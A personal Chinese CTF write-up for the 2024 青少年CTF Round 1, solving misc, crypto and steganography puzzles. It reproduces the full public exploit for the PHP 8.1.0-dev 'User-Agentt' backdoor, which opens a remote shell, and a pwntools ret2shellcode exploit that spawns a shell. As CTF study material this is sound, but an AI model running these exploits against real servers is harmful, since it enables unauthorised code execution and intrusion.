青少年CTF擂台挑战赛 2024 #Round 1 个人WriteUp

青少年CTF擂台挑战赛 2024 #Round 1

一、 战队信息

战队名称:Besti学研组

战队排名:11

以下为我个人完成的题目的 Writeup。

二、 解题过程

CTFer Revenge解题步骤:

解压下来,是一个文本文档,打开看,像是WinHex的视图,结合题目文本”从反方向开始移动“,从最后看,可以发现“PK”压缩包的特征,首先先用文本逆序翻转工具-文字逆序翻转工具 (100xgj.com) 把文本倒过来,然后使用脚本如下

解题脚本:
# 打开文件
with open(r"C:\Users\崔志鹏\Desktop\临时.txt", "r", encoding="utf-8") as f:
    # 初始化输出字符串
    output = ""
    # 遍历文件的每一行
    for line in f:
        # 获取每一行的第11个字符到第58个字符(索引从0开始)
        substring = line[10:58]
        # 连接到输出字符串
        output += substring
    # 关闭文件
    f.close()

# 打印输出字符串
print(output,file=open(r"C:\Users\崔志鹏\Desktop\临时.txt", "w", encoding="utf-8"))

把文件提取出来,粘贴到Winhex的新文件中,打开这个新压缩包,其中有个文件“喜欢用小写和数字做密码”,根据此提示使用ARCHPR进行爆破,得到密码为:z12345,解压得到 flag 的图片:

在这里插入图片描述

得到flag:qsnctf{b414e3e3a6449ddba0997db259203eb7}

PHP的后门解题步骤:

打开容器网站,看到它提示“你应该知道这是哪个版本的PHP吧”,盲猜要利用这个版本PHP8.1.0的漏洞,搜索漏洞库得到https://www.exploit-db.com/exploits/49933,使用其中的脚本,得到shell,cat /flag得到flag。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

解题脚本:
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link: 
#     - https://hub.docker.com/r/phpdaily/php
#    - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#    - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

Easy_Shellcode解题步骤:

反编译程序,基本代码逻辑为先输出数组a的地址,然后读取输入到a,很简单的栈溢出和ret2shellcode,只需要把shellcode写入栈并将返回地址覆盖为a的地址即可。

做题脚本:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

p = remote("challenge.qsnctf.com", 30714)

target_address = 0x601080
ret_address = 0x40066A
pop_rdi = 0x400743

stack_len = 0x100 + 0x8

context(arch="amd64",os="linux")

ret = p64(int(p.recv()[0:-1],16))

shellcode = asm(shellcraft.sh())	#自动生成shellcode
payload = shellcode.ljust(stack_len , b"\x00") + ret
p.sendline(payload)

p.interactive()

ez_log解题步骤:

打开是一个网页,需要我们提交key获取flag。

在这里插入图片描述

下载附件,查看代码,属于离散对数求解问题,直接使用sage解决。得到m,然后使用long_to_byte()得到key,输入网页输入框中得到flag。

做题脚本:
d=discrete_log(273880863337546843640856230249419053251901819531410892675204542310202625409150345319438996750713482994232409560802178612908161413097504431395415180421783328975885088996000351417096955944824,mod(3,3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037))
print (d)

四重加密解题步骤:

根据题目名称,盲猜一共有四次解密。

  1. 下载附件,是个加密压缩包,说明里OFZW4Y3UMY======一眼盯真为base32,使用ToolFx 解密得到压缩包密码为 qsnctf,解压得到:

    &#122;&#99;&#121;&#101;&#123;&#109;&#120;&#109;&#101;&#109;&#116;&#120;&#114;&#122;&#116;&#95;&#108;&#122;&#98;&#104;&#97;&#95;&#107;&#119;&#109;&#113;&#122;&#101;&#99;&#125;&#124;&#107;&#101;&#121;&#61;&#104;&#101;&#108;&#108;&#111;
    
  2. &#很明显是HTML编码的格式,同样使用ToolFx解密得到 zcye{mxmemtxrzt_lzbha_kwmqzec}|key=hello

  3. 很明显这串字符密文为zcye{mxmemtxrzt_lzbha_kwmqzec},密钥为hello,通过随波逐流编码工具一把梭得到其为维吉尼亚密码,解密后得到synt{yqitbfqnoi_xsxwp_wpifoqv}

  4. synt很明显可以看出其为凯撒密码,解密得到flag:flag{ldvgosdabv_kfkjc_jcvsbdi},改前缀为 qsnctf,得到最终flag

小光的答案之书解题步骤:

打开题目简介中的网址【活动】你知道小光的答案吗? - 小茶小馆 - 青少年CTF论坛 - 青少年CTF初学者起源地 | CTF技术论坛 (qsnctf.com),可以看到其中有张图片

在这里插入图片描述

可以看到中间四个类似于菱形的形状为 templar 编码,利用编码图解得其为life,输入【活动】小光的答案之书 - 小茶小馆 - 青少年CTF论坛 - 青少年CTF初学者起源地 | CTF技术论坛 (qsnctf.com) 的密码框中得到信息“关注公众号:中学生CTF,关键词:青少年CTF2024”,照做得到flag。

多情解题步骤:

下载附件,里面是一个压缩包和一个PNG图片。

其中压缩包里是10个文本文档,其中是HTML编码。

对PNG图片“看看我”使用foremost 分析,分解出一个写着“长安在何处,只在马蹄下”的PNG图片,盲猜为IHDR隐写,使用pngcheck 检查,果然IDHR有问题,使用如下脚本恢复图片原宽高:

import zlib
import struct
import sys

filename = sys.argv[1]
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095            #理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
    for w in range(n):          #高和宽一起爆破
        width = bytearray(struct.pack('>i', w))     #q为8字节,i为4字节,h为2字节
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为:",end="")
                print(width)
                print("高为:",end="")
                print(height)
                exit(0)

得到原图

在这里插入图片描述

得到一个数字:996,利用Windows自带的计算机可以看到996的二进制:

在这里插入图片描述

发现除去先导零外,刚好有6个1,4个0,刚好与“多情”压缩包中txt的文件名一致,按照从左到右的顺序(第一个1,第二个1,第三个1,第四个1,第五个1,第一个0……)将文本中的内容进行合并,HTML解码得到Lrp5mJcdEbbv2bnf6HQSNh,即为flag

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值